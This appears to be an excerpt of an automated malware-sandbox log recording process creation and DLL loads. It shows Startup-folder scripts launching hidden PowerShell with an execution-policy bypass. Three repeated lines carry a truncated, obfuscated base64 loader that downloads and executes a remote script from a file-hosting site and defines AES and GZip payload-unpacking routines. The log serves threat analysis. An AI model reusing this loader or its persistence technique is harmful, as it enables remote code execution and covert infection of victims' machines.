                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dllJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
